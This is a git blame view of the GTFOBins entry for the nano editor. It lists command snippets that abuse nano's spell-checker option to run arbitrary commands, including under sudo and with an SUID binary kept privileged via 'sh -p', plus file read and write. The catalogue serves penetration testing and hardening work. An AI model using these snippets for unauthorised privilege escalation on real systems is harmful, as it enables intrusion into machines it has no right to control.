1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/nano.md

38 lines
905 B
Markdown
Raw Normal View History

2018-05-29 19:23:33 +02:00
---
functions:
execute-non-interactive:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
nano -s $TF /etc/hosts
2018-05-29 19:23:33 +02:00
^T
sudo-enabled:
- description: After running this exit the editor to see the command output.
code: |
COMMAND=id
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo nano -s $TF /etc/hosts
2018-05-29 19:23:33 +02:00
^T
suid-enabled:
- description: After running this exit the editor to see the command output.
2018-06-01 00:20:23 +02:00
code: |
2018-05-29 19:23:33 +02:00
COMMAND=id
TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
chmod +x $TF
./nano -s $TF /etc/hosts
2018-05-29 19:23:33 +02:00
^T
file-read:
- code: |
nano file_to_read
file-write:
- code: |
nano file_to_write
^O
---